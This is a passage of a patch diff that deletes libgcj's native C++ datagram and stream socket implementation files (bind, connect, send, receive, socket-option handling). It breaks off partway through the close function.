java::io::IOException ( - JvNewStringLatin1 ("DatagramSocketImpl.close: unimplemented")); -} - -void -java::net::PlainDatagramSocketImpl::send (java::net::DatagramPacket *) -{ - throw new java::io::IOException ( - JvNewStringLatin1 ("DatagramSocketImpl.send: unimplemented")); -} - -void -java::net::PlainDatagramSocketImpl::receive (java::net::DatagramPacket *) -{ - throw new java::io::IOException ( - JvNewStringLatin1 ("DatagramSocketImpl.receive: unimplemented")); -} - -void -java::net::PlainDatagramSocketImpl::setTimeToLive (jint) -{ - throw new java::io::IOException ( - JvNewStringLatin1 ("DatagramSocketImpl.setTimeToLive: unimplemented")); -} - -jint -java::net::PlainDatagramSocketImpl::getTimeToLive () -{ - throw new java::io::IOException ( - JvNewStringLatin1 ("DatagramSocketImpl.getTimeToLive: unimplemented")); -} - -void -java::net::PlainDatagramSocketImpl::mcastGrp (java::net::InetAddress *, - java::net::NetworkInterface *, - jboolean) -{ - throw new java::io::IOException ( - JvNewStringLatin1 ("DatagramSocketImpl.mcastGrp: unimplemented")); -} - -void -java::net::PlainDatagramSocketImpl::setOption (jint, java::lang::Object *) -{ - throw new SocketException ( - JvNewStringLatin1 ("DatagramSocketImpl.setOption: unimplemented")); -} - -java::lang::Object * -java::net::PlainDatagramSocketImpl::getOption (jint) -{ - throw new SocketException ( - JvNewStringLatin1 ("DatagramSocketImpl.getOption: unimplemented")); -} - -#else /* DISABLE_JAVA_NET */ - - -union SockAddr -{ - struct sockaddr_in address; -#ifdef HAVE_INET6 - struct sockaddr_in6 address6; -#endif -}; - -union McastReq -{ -#if HAVE_STRUCT_IP_MREQ - struct ip_mreq mreq; -#endif -#if HAVE_STRUCT_IPV6_MREQ - struct ipv6_mreq mreq6; -#endif -}; - -union InAddr -{ - struct in_addr addr; -#ifdef HAVE_INET6 - struct in6_addr addr6; -#endif -}; - - -// FIXME: routines here and/or in natPlainSocketImpl.cc could throw -// NoRouteToHostException; also consider UnknownHostException, ConnectException. - -void -java::net::PlainDatagramSocketImpl::create () -{ - int sock = _Jv_socket (AF_INET, SOCK_DGRAM, 0); - - if (sock < 0) - { - char* strerr = strerror (errno); - throw new java::net::SocketException (JvNewStringUTF (strerr)); - } - - _Jv_platform_close_on_exec (sock); - - // We use fnum in place of fd here. From leaving fd null we avoid - // the double close problem in FileDescriptor.finalize. - fnum = sock; -} - -void -java::net::PlainDatagramSocketImpl::bind (jint lport, - java::net::InetAddress *host) -{ - union SockAddr u; - struct sockaddr *ptr = (struct sockaddr *) &u.address; - // FIXME: Use getaddrinfo() to get actual protocol instead of assuming ipv4. - jbyteArray haddress = host->addr; - jbyte *bytes = elements (haddress); - int len = haddress->length; - - if (len == 4) - { - u.address.sin_family = AF_INET; - - if (host != NULL) - memcpy (&u.address.sin_addr, bytes, len); - else - u.address.sin_addr.s_addr = htonl (INADDR_ANY); - - len = sizeof (struct sockaddr_in); - u.address.sin_port = htons (lport); - } -#ifdef HAVE_INET6 - else if (len == 16) - { - u.address6.sin6_family = AF_INET6; - memcpy (&u.address6.sin6_addr, bytes, len); - len = sizeof (struct sockaddr_in6); - u.address6.sin6_port = htons (lport); - } -#endif - else - throw new java::net::SocketException (JvNewStringUTF ("invalid length")); - - if (_Jv_bind (fnum, ptr, len) == 0) - { - socklen_t addrlen = sizeof(u); - - if (lport != 0) - localPort = lport; - else if (::getsockname (fnum, (sockaddr*) &u, &addrlen) == 0) - localPort = ntohs (u.address.sin_port); - else - goto error; - - /* Allow broadcast by default. */ - int broadcast = 1; - if (::setsockopt (fnum, SOL_SOCKET, SO_BROADCAST, (char *) &broadcast, - sizeof (broadcast)) != 0) - goto error; - - return; - } - - error: - char* strerr = strerror (errno); - throw new java::net::BindException (JvNewStringUTF (strerr)); -} - -void -java::net::PlainDatagramSocketImpl::connect (java::net::InetAddress *, jint) -{ - throw new ::java::lang::InternalError (JvNewStringLatin1 ( - "PlainDatagramSocketImpl::connect: not implemented yet")); -} - -void -java::net::PlainDatagramSocketImpl::disconnect () -{ - throw new ::java::lang::InternalError (JvNewStringLatin1 ( - "PlainDatagramSocketImpl::disconnect: not implemented yet")); -} - -jint -java::net::PlainDatagramSocketImpl::peek (java::net::InetAddress *i) -{ - // FIXME: Deal with Multicast and if the socket is connected. - union SockAddr u; - socklen_t addrlen = sizeof(u); - ssize_t retlen = - ::recvfrom (fnum, (char *) NULL, 0, MSG_PEEK, (sockaddr*) &u, - &addrlen); - if (retlen < 0) - goto error; - // FIXME: Deal with Multicast addressing and if the socket is connected. - jbyteArray raddr; - jint rport; - if (u.address.sin_family == AF_INET) - { - raddr = JvNewByteArray (4); - memcpy (elements (raddr), &u.address.sin_addr, 4); - rport = ntohs (u.address.sin_port); - } -#ifdef HAVE_INET6 - else if (u.address.sin_family == AF_INET6) - { - raddr = JvNewByteArray (16); - memcpy (elements (raddr), &u.address6.sin6_addr, 16); - rport = ntohs (u.address6.sin6_port); - } -#endif - else - throw new java::net::SocketException (JvNewStringUTF ("invalid family")); - - i->addr = raddr; - return rport; - error: - char* strerr = strerror (errno); - - if (errno == ECONNREFUSED) - throw new PortUnreachableException (JvNewStringUTF (strerr)); - - throw new java::io::IOException (JvNewStringUTF (strerr)); -} - -jint -java::net::PlainDatagramSocketImpl::peekData(java::net::DatagramPacket *p) -{ - // FIXME: Deal with Multicast and if the socket is connected. - union SockAddr u; - socklen_t addrlen = sizeof(u); - jbyte *dbytes = elements (p->getData()); - ssize_t retlen = 0; - -// FIXME: implement timeout support for Win32 -#ifndef WIN32 - // Do timeouts via select since SO_RCVTIMEO is not always available. - if (timeout > 0 && fnum >= 0 && fnum < FD_SETSIZE) - { - fd_set rset; - struct timeval tv; - FD_ZERO(&rset); - FD_SET(fnum, &rset); - tv.tv_sec = timeout / 1000; - tv.tv_usec = (timeout % 1000) * 1000; - int retval; - if ((retval = _Jv_select (fnum + 1, &rset, NULL, NULL, &tv)) < 0) - goto error; - else if (retval == 0) - throw new java::io::InterruptedIOException (); - } -#endif /* WIN32 */ - - retlen = - ::recvfrom (fnum, (char *) dbytes, p->getLength(), MSG_PEEK, (sockaddr*) &u, - &addrlen); - if (retlen < 0) - goto error; - // FIXME: Deal with Multicast addressing and if the socket is connected. - jbyteArray raddr; - jint rport; - if (u.address.sin_family == AF_INET) - { - raddr = JvNewByteArray (4); - memcpy (elements (raddr), &u.address.sin_addr, 4); - rport = ntohs (u.address.sin_port); - } -#ifdef HAVE_INET6 - else if (u.address.sin_family == AF_INET6) - { - raddr = JvNewByteArray (16); - memcpy (elements (raddr), &u.address6.sin6_addr, 16); - rport = ntohs (u.address6.sin6_port); - } -#endif - else - throw new java::net::SocketException (JvNewStringUTF ("invalid family")); - - p->setAddress (new InetAddress (raddr, NULL)); - p->setPort (rport); - p->setLength ((jint) retlen); - return rport; - - error: - char* strerr = strerror (errno); - - if (errno == ECONNREFUSED) - throw new PortUnreachableException (JvNewStringUTF (strerr)); - - throw new java::io::IOException (JvNewStringUTF (strerr)); -} - -// Close(shutdown) the socket. -void -java::net::PlainDatagramSocketImpl::close () -{ - // Avoid races from asynchronous finalization. - JvSynchronize sync (this); - - // The method isn't declared to throw anything, so we disregard - // the return value. - _Jv_close (fnum); - fnum = -1; - timeout = 0; -} - -void -java::net::PlainDatagramSocketImpl::send (java::net::DatagramPacket *p) -{ - // FIXME: Deal with Multicast and if the socket is connected. - jint rport = p->getPort(); - union SockAddr u; - jbyteArray haddress = p->getAddress()->addr; - jbyte *bytes = elements (haddress); - int len = haddress->length; - struct sockaddr *ptr = (struct sockaddr *) &u.address; - jbyte *dbytes = elements (p->getData()); - if (len == 4) - { - u.address.sin_family = AF_INET; - memcpy (&u.address.sin_addr, bytes, len); - len = sizeof (struct sockaddr_in); - u.address.sin_port = htons (rport); - } -#ifdef HAVE_INET6 - else if (len == 16) - { - u.address6.sin6_family = AF_INET6; - memcpy (&u.address6.sin6_addr, bytes, len); - len = sizeof (struct sockaddr_in6); - u.address6.sin6_port = htons (rport); - } -#endif - else - throw new java::net::SocketException (JvNewStringUTF ("invalid length")); - - if (::sendto (fnum, (char *) dbytes, p->getLength(), 0, ptr, len) >= 0) - return; - - char* strerr = strerror (errno); - - if (errno == ECONNREFUSED) - throw new PortUnreachableException (JvNewStringUTF (strerr)); - - throw new java::io::IOException (JvNewStringUTF (strerr)); -} - -void -java::net::PlainDatagramSocketImpl::receive (java::net::DatagramPacket *p) -{ - // FIXME: Deal with Multicast and if the socket is connected. - union SockAddr u; - socklen_t addrlen = sizeof(u); - jbyte *dbytes = elements (p->getData()); - ssize_t retlen = 0; - -// FIXME: implement timeout support for Win32 -#ifndef WIN32 - // Do timeouts via select since SO_RCVTIMEO is not always available. - if (timeout > 0 && fnum >= 0 && fnum < FD_SETSIZE) - { - fd_set rset; - struct timeval tv; - FD_ZERO(&rset); - FD_SET(fnum, &rset); - tv.tv_sec = timeout / 1000; - tv.tv_usec = (timeout % 1000) * 1000; - int retval; - if ((retval = _Jv_select (fnum + 1, &rset, NULL, NULL, &tv)) < 0) - goto error; - else if (retval == 0) - throw new java::io::InterruptedIOException (); - } -#endif /* WIN32 */ - - retlen = - ::recvfrom (fnum, (char *) dbytes, p->getLength(), 0, (sockaddr*) &u, - &addrlen); - if (retlen < 0) - goto error; - // FIXME: Deal with Multicast addressing and if the socket is connected. - jbyteArray raddr; - jint rport; - if (u.address.sin_family == AF_INET) - { - raddr = JvNewByteArray (4); - memcpy (elements (raddr), &u.address.sin_addr, 4); - rport = ntohs (u.address.sin_port); - } -#ifdef HAVE_INET6 - else if (u.address.sin_family == AF_INET6) - { - raddr = JvNewByteArray (16); - memcpy (elements (raddr), &u.address6.sin6_addr, 16); - rport = ntohs (u.address6.sin6_port); - } -#endif - else - throw new java::net::SocketException (JvNewStringUTF ("invalid family")); - - p->setAddress (new InetAddress (raddr, NULL)); - p->setPort (rport); - p->setLength ((jint) retlen); - return; - - error: - char* strerr = strerror (errno); - - if (errno == ECONNREFUSED) - throw new PortUnreachableException (JvNewStringUTF (strerr)); - - throw new java::io::IOException (JvNewStringUTF (strerr)); -} - -void -java::net::PlainDatagramSocketImpl::setTimeToLive (jint ttl) -{ - // Assumes IPPROTO_IP rather than IPPROTO_IPV6 since socket created is IPv4. - char val = (char) ttl; - socklen_t val_len = sizeof(val); - - if (::setsockopt (fnum, IPPROTO_IP, IP_MULTICAST_TTL, &val, val_len) == 0) - return; - - char* strerr = strerror (errno); - throw new java::io::IOException (JvNewStringUTF (strerr)); -} - -jint -java::net::PlainDatagramSocketImpl::getTimeToLive () -{ - // Assumes IPPROTO_IP rather than IPPROTO_IPV6 since socket created is IPv4. - char val; - socklen_t val_len = sizeof(val); - - if (::getsockopt (fnum, IPPROTO_IP, IP_MULTICAST_TTL, &val, &val_len) == 0) - return ((int) val) & 0xFF; - - char* strerr = strerror (errno); - throw new java::io::IOException (JvNewStringUTF (strerr)); -} - -void -java::net::PlainDatagramSocketImpl::mcastGrp (java::net::InetAddress *inetaddr, - java::net::NetworkInterface *, - jboolean join) -{ - // FIXME: implement use of NetworkInterface - - union McastReq u; - jbyteArray haddress = inetaddr->addr; - jbyte *bytes = elements (haddress); - int len = haddress->length; - int level, opname; - const char *ptr; - if (0) - ; -#if HAVE_STRUCT_IP_MREQ - else if (len == 4) - { - level = IPPROTO_IP; - opname = join ? IP_ADD_MEMBERSHIP : IP_DROP_MEMBERSHIP; - memcpy (&u.mreq.imr_multiaddr, bytes, len); - // FIXME: If a non-default interface is set, use it; see Stevens p. 501. - // Maybe not, see note in last paragraph at bottom of Stevens p. 497. - u.mreq.imr_interface.s_addr = htonl (INADDR_ANY); - len = sizeof (struct ip_mreq); - ptr = (const char *) &u.mreq; - } -#endif -#if HAVE_STRUCT_IPV6_MREQ - else if (len == 16) - { - level = IPPROTO_IPV6; - - /* Prefer new RFC 2553 names. */ -#ifndef IPV6_JOIN_GROUP -#define IPV6_JOIN_GROUP IPV6_ADD_MEMBERSHIP -#endif -#ifndef IPV6_LEAVE_GROUP -#define IPV6_LEAVE_GROUP IPV6_DROP_MEMBERSHIP -#endif - - opname = join ? IPV6_JOIN_GROUP : IPV6_LEAVE_GROUP; - memcpy (&u.mreq6.ipv6mr_multiaddr, bytes, len); - // FIXME: If a non-default interface is set, use it; see Stevens p. 501. - // Maybe not, see note in last paragraph at bottom of Stevens p. 497. - u.mreq6.ipv6mr_interface = 0; - len = sizeof (struct ipv6_mreq); - ptr = (const char *) &u.mreq6; - } -#endif - else - throw new java::net::SocketException (JvNewStringUTF ("invalid length")); - - if (::setsockopt (fnum, level, opname, ptr, len) == 0) - return; - - char* strerr = strerror (errno); - throw new java::io::IOException (JvNewStringUTF (strerr)); -} - -void -java::net::PlainDatagramSocketImpl::setOption (jint optID, - java::lang::Object *value) -{ - int val; - socklen_t val_len = sizeof (val); - - if (fnum < 0) - throw new java::net::SocketException (JvNewStringUTF ("Socket closed")); - - if (_Jv_IsInstanceOf (value, &java::lang::Boolean::class$)) - { - java::lang::Boolean *boolobj = - static_cast (value); - val = boolobj->booleanValue() ? 1 : 0; - } - else if (_Jv_IsInstanceOf (value, &java::lang::Integer::class$)) - { - java::lang::Integer *intobj = - static_cast (value); - val = (int) intobj->intValue(); - } - // Else assume value to be an InetAddress for use with IP_MULTICAST_IF. - - switch (optID) - { - case _Jv_TCP_NODELAY_ : - throw new java::net::SocketException ( - JvNewStringUTF ("TCP_NODELAY not valid for UDP")); - return; - case _Jv_SO_LINGER_ : - throw new java::net::SocketException ( - JvNewStringUTF ("SO_LINGER not valid for UDP")); - return; - case _Jv_SO_KEEPALIVE_ : - throw new java::net::SocketException ( - JvNewStringUTF ("SO_KEEPALIVE not valid for UDP")); - return; - - case _Jv_SO_BROADCAST_ : - if (::setsockopt (fnum, SOL_SOCKET, SO_BROADCAST, (char *) &val, - val_len) != 0) - goto error; - break; - - case _Jv_SO_OOBINLINE_ : - throw new java::net::SocketException ( - JvNewStringUTF ("SO_OOBINLINE: not valid for UDP")); - break; - - case _Jv_SO_SNDBUF_ : - case _Jv_SO_RCVBUF_ : -#if defined(SO_SNDBUF) && defined(SO_RCVBUF) - int opt; - optID == _Jv_SO_SNDBUF_ ? opt = SO_SNDBUF : opt = SO_RCVBUF; - if (::setsockopt (fnum, SOL_SOCKET, opt, (char *) &val, val_len) != 0) - goto error; -#else - throw new java::lang::InternalError ( - JvNewStringUTF ("SO_RCVBUF/SO_SNDBUF not supported")); -#endif - return; - case _Jv_SO_REUSEADDR_ : -#if defined(SO_REUSEADDR) - if (::setsockopt (fnum, SOL_SOCKET, SO_REUSEADDR, (char *) &val, - val_len) != 0) - goto error; -#else - throw new java::lang::InternalError ( - JvNewStringUTF ("SO_REUSEADDR not supported")); -#endif - return; - case _Jv_SO_BINDADDR_ : - throw new java::net::SocketException ( - JvNewStringUTF ("SO_BINDADDR: read only option")); - return; - case _Jv_IP_MULTICAST_IF_ : - union InAddr u; - jbyteArray haddress; - jbyte *bytes; - int len; - int level, opname; - const char *ptr; - - haddress = ((java::net::InetAddress *) value)->addr; - bytes = elements (haddress); - len = haddress->length; - if (len == 4) - { - level = IPPROTO_IP; - opname = IP_MULTICAST_IF; - memcpy (&u.addr, bytes, len); - len = sizeof (struct in_addr); - ptr = (const char *) &u.addr; - } -// Tru64 UNIX V5.0 has struct sockaddr_in6, but no IPV6_MULTICAST_IF -#if defined (HAVE_INET6) && defined (IPV6_MULTICAST_IF) - else if (len == 16) - { - level = IPPROTO_IPV6; - opname = IPV6_MULTICAST_IF; - memcpy (&u.addr6, bytes, len); - len = sizeof (struct in6_addr); - ptr = (const char *) &u.addr6; - } -#endif - else - throw - new java::net::SocketException (JvNewStringUTF ("invalid length")); - - if (::setsockopt (fnum, level, opname, ptr, len) != 0) - goto error; - return; - - case _Jv_IP_MULTICAST_IF2_ : - throw new java::net::SocketException ( - JvNewStringUTF ("IP_MULTICAST_IF2: not yet implemented")); - break; - - case _Jv_IP_MULTICAST_LOOP_ : - throw new java::net::SocketException ( - JvNewStringUTF ("IP_MULTICAST_LOOP: not yet implemented")); - break; - - case _Jv_IP_TOS_ : - if (::setsockopt (fnum, SOL_SOCKET, IP_TOS, (char *) &val, - val_len) != 0) - goto error; - return; - - case _Jv_SO_TIMEOUT_ : - timeout = val; - return; - default : - errno = ENOPROTOOPT; - } - - error: - char* strerr = strerror (errno); - throw new java::net::SocketException (JvNewStringUTF (strerr)); -} - -java::lang::Object * -java::net::PlainDatagramSocketImpl::getOption (jint optID) -{ - int val; - socklen_t val_len = sizeof(val); - union SockAddr u; - socklen_t addrlen = sizeof(u); - - switch (optID) - { - case _Jv_TCP_NODELAY_ : - throw new java::net::SocketException ( - JvNewStringUTF ("TCP_NODELAY not valid for UDP")); - break; - case _Jv_SO_LINGER_ : - throw new java::net::SocketException ( - JvNewStringUTF ("SO_LINGER not valid for UDP")); - break; - case _Jv_SO_KEEPALIVE_ : - throw new java::net::SocketException ( - JvNewStringUTF ("SO_KEEPALIVE not valid for UDP")); - break; - - case _Jv_SO_BROADCAST_ : - if (::getsockopt (fnum, SOL_SOCKET, SO_BROADCAST, (char *) &val, - &val_len) != 0) - goto error; - return new java::lang::Boolean (val != 0); - - case _Jv_SO_OOBINLINE_ : - throw new java::net::SocketException ( - JvNewStringUTF ("SO_OOBINLINE not valid for UDP")); - break; - - case _Jv_SO_RCVBUF_ : - case _Jv_SO_SNDBUF_ : -#if defined(SO_SNDBUF) && defined(SO_RCVBUF) - int opt; - optID == _Jv_SO_SNDBUF_ ? opt = SO_SNDBUF : opt = SO_RCVBUF; - if (::getsockopt (fnum, SOL_SOCKET, opt, (char *) &val, &val_len) != 0) - goto error; - else - return new java::lang::Integer (val); -#else - throw new java::lang::InternalError ( - JvNewStringUTF ("SO_RCVBUF/SO_SNDBUF not supported")); -#endif - break; - case _Jv_SO_BINDADDR_: - // cache the local address - if (localAddress == NULL) - { - jbyteArray laddr; - if (::getsockname (fnum, (sockaddr*) &u, &addrlen) != 0) - goto error; - if (u.address.sin_family == AF_INET) - { - laddr = JvNewByteArray (4); - memcpy (elements (laddr), &u.address.sin_addr, 4); - } -#ifdef HAVE_INET6 - else if (u.address.sin_family == AF_INET6) - { - laddr = JvNewByteArray (16); - memcpy (elements (laddr), &u.address6.sin6_addr, 16); - } -#endif - else - throw new java::net::SocketException ( - JvNewStringUTF ("invalid family")); - localAddress = new java::net::InetAddress (laddr, NULL); - } - return localAddress; - break; - case _Jv_SO_REUSEADDR_ : -#if defined(SO_REUSEADDR) - if (::getsockopt (fnum, SOL_SOCKET, SO_REUSEADDR, (char *) &val, - &val_len) != 0) - goto error; - return new java::lang::Boolean (val != 0); -#else - throw new java::lang::InternalError ( - JvNewStringUTF ("SO_REUSEADDR not supported")); -#endif - break; - case _Jv_IP_MULTICAST_IF_ : -#ifdef HAVE_INET_NTOA - struct in_addr inaddr; - socklen_t inaddr_len; - char *bytes; - - inaddr_len = sizeof(inaddr); - if (::getsockopt (fnum, IPPROTO_IP, IP_MULTICAST_IF, (char *) &inaddr, - &inaddr_len) != 0) - goto error; - - bytes = inet_ntoa (inaddr); - - return java::net::InetAddress::getByName (JvNewStringLatin1 (bytes)); -#else - throw new java::net::SocketException ( - JvNewStringUTF ("IP_MULTICAST_IF: not available - no inet_ntoa()")); -#endif - break; - case _Jv_SO_TIMEOUT_ : - return new java::lang::Integer (timeout); - break; - - case _Jv_IP_MULTICAST_IF2_ : - throw new java::net::SocketException ( - JvNewStringUTF ("IP_MULTICAST_IF2: not yet implemented")); - break; - - case _Jv_IP_MULTICAST_LOOP_ : - if (::getsockopt (fnum, SOL_SOCKET, IP_MULTICAST_LOOP, (char *) &val, - &val_len) != 0) - goto error; - return new java::lang::Boolean (val != 0); - - case _Jv_IP_TOS_ : - if (::getsockopt (fnum, SOL_SOCKET, IP_TOS, (char *) &val, - &val_len) != 0) - goto error; - return new java::lang::Integer (val); - - default : - errno = ENOPROTOOPT; - } - - error: - char* strerr = strerror (errno); - throw new java::net::SocketException (JvNewStringUTF (strerr)); -} - -#endif /* DISABLE_JAVA_NET */ Index: java/net/natPlainSocketImpl.cc =================================================================== RCS file: java/net/natPlainSocketImpl.cc diff -N java/net/natPlainSocketImpl.cc --- java/net/natPlainSocketImpl.cc 26 Nov 2002 20:09:28 -0000 1.52 +++ /dev/null 1 Jan 1970 00:00:00 -0000 @@ -1,1019 +0,0 @@ -/* Copyright (C) 1998, 1999, 2000, 2002 Free Software Foundation - - This file is part of libgcj. - -This software is copyrighted work licensed under the terms of the -Libgcj License. Please consult the file "LIBGCJ_LICENSE" for -details. */ - -#include -#include - -#ifndef DISABLE_JAVA_NET - -#ifdef WIN32 - -#include -#include -#include -#include -#undef STRICT -#undef MAX_PRIORITY -#undef MIN_PRIORITY -#undef FIONREAD - -// These functions make the Win32 socket API look more POSIXy -static inline int -write(int s, void *buf, int len) -{ - return send(s, (char*)buf, len, 0); -} - -static inline int -read(int s, void *buf, int len) -{ - return recv(s, (char*)buf, len, 0); -} - -// these errors cannot occur on Win32 -#else /* WIN32 */ - -#ifdef HAVE_SYS_IOCTL_H -#define BSD_COMP /* Get FIONREAD on Solaris2. */ -#include -#endif - -// Pick up FIONREAD on Solaris 2.5. -#ifdef HAVE_SYS_FILIO_H -#include -#endif - -#include -#include -#include -#include - -#endif /* WIN32 */ -#endif /* DISABLE_JAVA_NET */ - -#if HAVE_BSTRING_H -// Needed for bzero, implicitly used by FD_ZERO on IRIX 5.2 -#include -#endif - - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#ifdef DISABLE_JAVA_NET - -void -java::net::PlainSocketImpl::create (jboolean) -{ - throw new java::io::IOException ( - JvNewStringLatin1 ("SocketImpl.create: unimplemented")); -} - -void -java::net::PlainSocketImpl::bind (java::net::InetAddress *, jint) -{ - throw new BindException ( - JvNewStringLatin1 ("SocketImpl.bind: unimplemented")); -} - -void -java::net::PlainSocketImpl::connect (java::net::SocketAddress *, jint) -{ - throw new ConnectException ( - JvNewStringLatin1 ("SocketImpl.connect: unimplemented")); -} - -void -java::net::PlainSocketImpl::listen (jint) -{ - throw new java::io::IOException ( - JvNewStringLatin1 ("SocketImpl.listen: unimplemented")); -} - -void -java::net::PlainSocketImpl::accept (java::net::PlainSocketImpl *) -{ - throw new java::io::IOException ( - JvNewStringLatin1 ("SocketImpl.accept: unimplemented")); -} - -void -java::net::PlainSocketImpl::setOption (jint, java::lang::Object *) -{ - throw new SocketException ( - JvNewStringLatin1 ("SocketImpl.setOption: unimplemented")); -} - -java::lang::Object * -java::net::PlainSocketImpl::getOption (jint) -{ - throw new SocketException ( - JvNewStringLatin1 ("SocketImpl.getOption: unimplemented")); -} - -jint -java::net::PlainSocketImpl::read(void) -{ - throw new SocketException ( - JvNewStringLatin1 ("SocketImpl.read: unimplemented")); -} - -jint -java::net::PlainSocketImpl::read(jbyteArray buffer, jint offset, jint count) -{ - throw new SocketException ( - JvNewStringLatin1 ("SocketImpl.read: unimplemented")); -} - -void -java::net::PlainSocketImpl::write(jint b) -{ - throw new SocketException ( - JvNewStringLatin1 ("SocketImpl.write: unimplemented")); -} - -void -java::net::PlainSocketImpl::write(jbyteArray b, jint offset, jint len) -{ - throw new SocketException ( - JvNewStringLatin1 ("SocketImpl.write: unimplemented")); -} - -void -java::net::PlainSocketImpl::sendUrgentData(jint data) -{ - throw new SocketException ( - JvNewStringLatin1 ("SocketImpl.sendUrgentData: unimplemented")); -} - -jint -java::net::PlainSocketImpl::available(void) -{ - throw new SocketException ( - JvNewStringLatin1 ("SocketImpl.available: unimplemented")); -} - -void -java::net::PlainSocketImpl::close(void) -{ - throw new SocketException ( - JvNewStringLatin1 ("SocketImpl.close: unimplemented")); -} - -void -java::net::PlainSocketImpl::shutdownInput (void) -{ - throw new SocketException ( - JvNewStringLatin1 ("SocketImpl.shutdownInput: unimplemented")); -} - -void -java::net::PlainSocketImpl::shutdownOutput (void) -{ - throw new SocketException ( - JvNewStringLatin1 ("SocketImpl.shutdownOutput: unimplemented")); -} - -#else /* DISABLE_JAVA_NET */ - -union SockAddr -{ - struct sockaddr_in address; -#ifdef HAVE_INET6 - struct sockaddr_in6 address6; -#endif -}; - -void -java::net::PlainSocketImpl::create (jboolean stream) -{ - int sock = _Jv_socket (AF_INET, stream ? SOCK_STREAM : SOCK_DGRAM, 0); - - if (sock < 0) - { - char* strerr = strerror (errno); - throw new java::io::IOException (JvNewStringUTF (strerr)); - } - - _Jv_platform_close_on_exec (sock); - - // We use fnum in place of fd here. From leaving fd null we avoid - // the double close problem in FileDescriptor.finalize. - fnum = sock; -} - -void -java::net::PlainSocketImpl::bind (java::net::InetAddress *host, jint lport) -{ - union SockAddr u; - struct sockaddr *ptr = (struct sockaddr *) &u.address; - jbyteArray haddress = host->addr; - jbyte *bytes = elements (haddress); - int len = haddress->length; - int i = 1; - - if (len == 4) - { - u.address.sin_family = AF_INET; - - if (host != NULL) - memcpy (&u.address.sin_addr, bytes, len); - else - u.address.sin_addr.s_addr = htonl (INADDR_ANY); - - len = sizeof (struct sockaddr_in); - u.address.sin_port = htons (lport); - } -#ifdef HAVE_INET6 - else if (len == 16) - { - u.address6.sin6_family = AF_INET6; - memcpy (&u.address6.sin6_addr, bytes, len); - len = sizeof (struct sockaddr_in6); - u.address6.sin6_port = htons (lport); - } -#endif - else - throw new java::net::SocketException (JvNewStringUTF ("invalid length")); - - // Enable SO_REUSEADDR, so that servers can reuse ports left in TIME_WAIT. - ::setsockopt(fnum, SOL_SOCKET, SO_REUSEADDR, (char *) &i, sizeof(i)); - - if (_Jv_bind (fnum, ptr, len) == 0) - { - address = host; - socklen_t addrlen = sizeof(u); - - if (lport != 0) - localport = lport; - else if (::getsockname (fnum, (sockaddr*) &u, &addrlen) == 0) - localport = ntohs (u.address.sin_port); - else - goto error; - - return; - } - - error: - char* strerr = strerror (errno); - throw new java::net::BindException (JvNewStringUTF (strerr)); -} - -void -java::net::PlainSocketImpl::connect (java::net::SocketAddress *addr, - jint timeout) -{ - java::net::InetSocketAddress *tmp = (java::net::InetSocketAddress*) addr; - java::net::InetAddress *host = tmp->getAddress(); - jint rport = tmp->getPort(); - - union SockAddr u; - socklen_t addrlen = sizeof(u); - jbyteArray haddress = host->addr; - jbyte *bytes = elements (haddress); - int len = haddress->length; - struct sockaddr *ptr = (struct sockaddr *) &u.address; - if (len == 4) - { - u.address.sin_family = AF_INET; - memcpy (&u.address.sin_addr, bytes, len); - len = sizeof (struct sockaddr_in); - u.address.sin_port = htons (rport); - } -#ifdef HAVE_INET6 - else if (len == 16) - { - u.address6.sin6_family = AF_INET6; - memcpy (&u.address6.sin6_addr, bytes, len); - len = sizeof (struct sockaddr_in6); - u.address6.sin6_port = htons (rport); - } -#endif - else - throw new java::net::SocketException (JvNewStringUTF ("invalid length")); - -// FIXME: implement timeout support for Win32 -#ifndef WIN32 - if (timeout > 0) - { - int flags = ::fcntl (fnum, F_GETFL); - ::fcntl (fnum, F_SETFL, flags | O_NONBLOCK); - - if ((_Jv_connect (fnum, ptr, len) != 0) && (errno != EINPROGRESS)) - goto error; - - fd_set rset; - struct timeval tv; - FD_ZERO(&rset); - FD_SET(fnum, &rset); - tv.tv_sec = timeout / 1000; - tv.tv_usec = (timeout % 1000) * 1000; - int retval; - - if ((retval = _Jv_select (fnum + 1, &rset, NULL, NULL, &tv)) < 0) - goto error; - else if (retval == 0) - throw new java::net::SocketTimeoutException - (JvNewStringUTF ("Connect timed out")); - } - else -#endif - { - if (_Jv_connect (fnum, ptr, len) != 0) - goto error; - } - - address = host; - port = rport; - - // A bind may not have been done on this socket; if so, set localport now. - if (localport == 0) - { - if (::getsockname (fnum, (sockaddr*) &u, &addrlen) == 0) - localport = ntohs (u.address.sin_port); - else - goto error; - } - - return; - - error: - char* strerr = strerror (errno); - throw new java::net::ConnectException (JvNewStringUTF (strerr)); -} - -void -java::net::PlainSocketImpl::listen (jint backlog) -{ - if (::listen (fnum, backlog) != 0) - { - char* strerr = strerror (errno); - throw new java::io::IOException (JvNewStringUTF (strerr)); - } -} - -void -java::net::PlainSocketImpl::accept (java::net::PlainSocketImpl *s) -{ - union SockAddr u; - socklen_t addrlen = sizeof(u); - int new_socket = 0; - -// FIXME: implement timeout support for Win32 -#ifndef WIN32 - // Do timeouts via select since SO_RCVTIMEO is not always available. - if (timeout > 0 && fnum >= 0 && fnum < FD_SETSIZE) - { - fd_set rset; - struct timeval tv; - FD_ZERO(&rset); - FD_SET(fnum, &rset); - tv.tv_sec = timeout / 1000; - tv.tv_usec = (timeout % 1000) * 1000; - int retval; - if ((retval = _Jv_select (fnum + 1, &rset, NULL, NULL, &tv)) < 0) - goto error; - else if (retval == 0) - throw new java::io::InterruptedIOException ( - JvNewStringUTF("Accept timed out")); - } -#endif /* WIN32 */ - - new_socket = _Jv_accept (fnum, (sockaddr*) &u, &addrlen); - - if (new_socket < 0) - goto error; - - _Jv_platform_close_on_exec (new_socket); - - jbyteArray raddr; - jint rport; - if (u.address.sin_family == AF_INET) - { - raddr = JvNewByteArray (4); - memcpy (elements (raddr), &u.address.sin_addr, 4); - rport = ntohs (u.address.sin_port); - } -#ifdef HAVE_INET6 - else if (u.address.sin_family == AF_INET6) - { - raddr = JvNewByteArray (16); - memcpy (elements (raddr), &u.address6.sin6_addr, 16); - rport = ntohs (u.address6.sin6_port); - } -#endif - else - throw new java::net::SocketException (JvNewStringUTF ("invalid family")); - - s->fnum = new_socket; - s->localport = localport; - s->address = new InetAddress (raddr, NULL); - s->port = rport; - return; - - error: - char* strerr = strerror (errno); - throw new java::io::IOException (JvNewStringUTF (strerr)); -} - -// Close(shutdown) the socket. -void -java::net::PlainSocketImpl::close() -{ - // 